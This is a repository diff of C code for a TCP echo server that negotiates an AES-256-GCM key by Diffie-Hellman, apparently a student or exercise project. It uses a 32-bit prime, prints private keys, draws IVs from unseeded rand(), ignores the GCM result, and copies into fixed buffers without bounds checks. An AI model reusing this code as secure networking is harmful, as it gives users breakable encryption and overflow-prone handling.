gmp_printf("b:%Zd\n",dh_key.private_key);
//B=g^b(mod p)
mpz_powm(dh_key.public_key, dh_key.base, dh_key.private_key, dh_key.prime);
gmp_printf("B:%Zd\n",dh_key.public_key);
//send B
bzero(buff, MAX_size);
memcpy(buff,"pub",3);
mpz_get_str(buff+3,16,dh_key.public_key);
write(sockfd, buff, sizeof(buff));
//calc s=g^(ab)
bzero(buff,sizeof(buff));
mpz_powm(dh_key.key, key_from_c, dh_key.private_key, dh_key.prime);
mpz_get_str(buff,16,dh_key.key);
memcpy(aes_key,str2hex(buff),32);
fclose(dh_key.urand);
clear_numbers(&dh_key);
}
void echo(int sockfd)
{
char buff[MAX_size];
int n;
char aes_key[32];
char echobuf[MAX_size+5];
bzero(echobuf, sizeof(echobuf));
// negotiate key for aes 256
DH_key_exchange_for_server(sockfd, aes_key);
printf("\n");
print_hex(aes_key, 32);
for (;;) {
bzero(buff, sizeof(buff));
// read message from client
recv_msg(sockfd, buff, aes_key);
// print buffer
printf("Client: %s", buff);
// generate echo
memcpy(echobuf,"ECHO:",5);
memcpy(echobuf+5,buff,strlen(buff));
// send echo
send_msg(sockfd, echobuf, strlen(echobuf),aes_key);
bzero(echobuf, sizeof(echobuf));
// Exit to stop service
if (strncmp("exit", buff, 4) == 0) {
printf("Server Exit...\n");
break;
}
}
}
// main echo
int main(int argc, char **argv)
{
int sockfd, connfd, len;
struct sockaddr_in servaddr, cli;
// socket create and verification
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
printf("socket creation failed...\n");
exit(0);
}
else
printf("Socket successfully created..\n");
bzero(&servaddr, sizeof(servaddr));
// assign IP, PORT
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(atoi(argv[1]));
// Binding newly created socket to given IP and verification
if ((bind(sockfd, (Sockaddr*)&servaddr, sizeof(servaddr))) != 0) {
printf("socket bind failed\n");
exit(0);
}
else
printf("Socket successfully binded..\n");
// start listen
if ((listen(sockfd, 5)) != 0) {
printf("listen failed\n");
exit(0);
}
else
printf("start listening\n");
len = sizeof(cli);
// Accept the data packet from client and verification
connfd = accept(sockfd, (Sockaddr*)&cli, &len);
if (connfd < 0) {
printf("server acccept failed\n");
exit(0);
}
else
printf("connected\n");
// callback echo
echo(connfd);
// close socket
close(sockfd);
}

189
server/server_p.c Normal file
View File

@ -0,0 +1,189 @@
#include <netdb.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include "Diffie_hellman.c"
#include "aes.h"
#define MAX_size 256
#define Sockaddr struct sockaddr
#define DEBUF
// Function designed for chat between client and server.
void recv_msg(int sockfd, char * buf, unsigned char *key){
char buff[MAX_size];
//add(16)+iv(12)+tag(16)+data
unsigned char iv[12],add[16],tag[16];
int l=read(sockfd, buff, sizeof(buff));
memcpy(add,buff+4,16);
memcpy(iv,buff+16+4,12);
memset(tag,0,16);
int tmp=aes_gcm_ad(key, 32, iv, 12,buff+44+4, l-44-4, add, 16, tag, buf);
}
void send_msg(int sockfd, char * buff, int con_len, unsigned char *key){
//add(16)+iv(12)+tag(16)+data
unsigned char * cryptbuf=(unsigned char*)malloc(con_len + 44 + 4);
memset(cryptbuf, 0, con_len + 44 + 4);
//add+iv
unsigned char iv[12],add[16],tag[16];
memset(tag,0,16);
for(int j=0;j<16;j++)
add[j]=rand()%256;
for(int j=0;j<12;j++)
iv[j]=rand()%256;
//加密
int tmp;
tmp = aes_gcm_ae(key, 32, iv, 12, buff, con_len, add, 16, cryptbuf + 44 + 4, tag);
memcpy(cryptbuf + 4, add, 16);
memcpy(cryptbuf + 20, iv, 12);
memcpy(cryptbuf + 32, tag, 16);
memcpy(cryptbuf, "daaa", 4);
int f;
f = write(sockfd, cryptbuf, con_len + 44 + 4);
}
void DH_key_exchange_for_server(int sockfd, unsigned char* aes_key){
Dh_key dh_key;
char buff[MAX_size];
init_numbers(&dh_key);
dh_key.urand = fopen("/dev/urandom","r");
if(NULL == dh_key.urand)
{
fprintf(stderr, "Failed to init randomization\n");
exit(1);
}
init_prime(32,&dh_key);
//send p
bzero(buff, MAX_size);
memcpy(buff,"prt",3);
mpz_get_str(buff+3,16,dh_key.prime);
write(sockfd,buff,sizeof(buff));
gmp_printf("p:%Zd\n",dh_key.prime);
//receive A
bzero(buff, MAX_size);
read(sockfd,buff,sizeof(buff));
mpz_t key_from_c;
mpz_init(key_from_c);
mpz_set_str(key_from_c,buff+3,16);
gmp_printf("A:%Zd\n",key_from_c);
//calculate private key b
generate_key(32, &dh_key);
gmp_printf("b:%Zd\n",dh_key.private_key);
//B=g^b(mod p)
mpz_powm(dh_key.public_key, dh_key.base, dh_key.private_key, dh_key.prime);
gmp_printf("B:%Zd\n\n",dh_key.public_key);
//send B
bzero(buff, MAX_size);
memcpy(buff,"pud",3);
mpz_get_str(buff+3,16,dh_key.public_key);
write(sockfd, buff, sizeof(buff));
//calc s=g^(ab)
bzero(buff,sizeof(buff));
mpz_powm(dh_key.key, key_from_c, dh_key.private_key, dh_key.prime);
mpz_get_str(buff,16,dh_key.key);
memcpy(aes_key,str2hex(buff),32);
fclose(dh_key.urand);
clear_numbers(&dh_key);
}
void echo(int sockfd)
{
char buff[MAX_size];
int n;
char aes_key[32];
char echobuf[MAX_size+5];
bzero(echobuf, sizeof(echobuf));
// negotiate key for aes 256
DH_key_exchange_for_server(sockfd, aes_key);
print_hex(aes_key, 32);
for (;;) {
bzero(buff, sizeof(buff));
// read message from client
recv_msg(sockfd, buff, aes_key);
// print buffer
printf("Client: %s", buff);
// generate echo
memcpy(echobuf,"ECHO:",5);
memcpy(echobuf+5,buff,strlen(buff));
// send echo
send_msg(sockfd, echobuf, strlen(echobuf),aes_key);
bzero(echobuf, sizeof(echobuf));
// Exit to stop service
if (strncmp("exit", buff, 4) == 0) {
printf("Server Exit...\n");
break;
}
}
}
// main echo
int main(int argc, char **argv)
{
if(argc!=2){
puts("./server port");
return 0;
}
int sockfd, connfd, len;
struct sockaddr_in servaddr, cli;
// socket create and verification
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
printf("socket creation failed...\n");
exit(0);
}
else
printf("Socket successfully created..\n");
bzero(&servaddr, sizeof(servaddr));
// assign IP, PORT
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(atoi(argv[1]));
// Binding newly created socket to given IP and verification
if ((bind(sockfd, (Sockaddr*)&servaddr, sizeof(servaddr))) != 0) {
printf("socket bind failed\n");
exit(0);
}
else
printf("Socket successfully binded..\n");
// start listen
if ((listen(sockfd, 5)) != 0) {
printf("listen failed\n");
exit(0);
}
else
printf("start listening\n");
len = sizeof(cli);
// Accept the data packet from client and verification
connfd = accept(sockfd, (Sockaddr*)&cli, &len);
if (connfd < 0) {
printf("server acccept failed\n");
exit(0);
}
else
printf("connected\n");
// callback echo
echo(connfd);
// close socket
close(sockfd);
}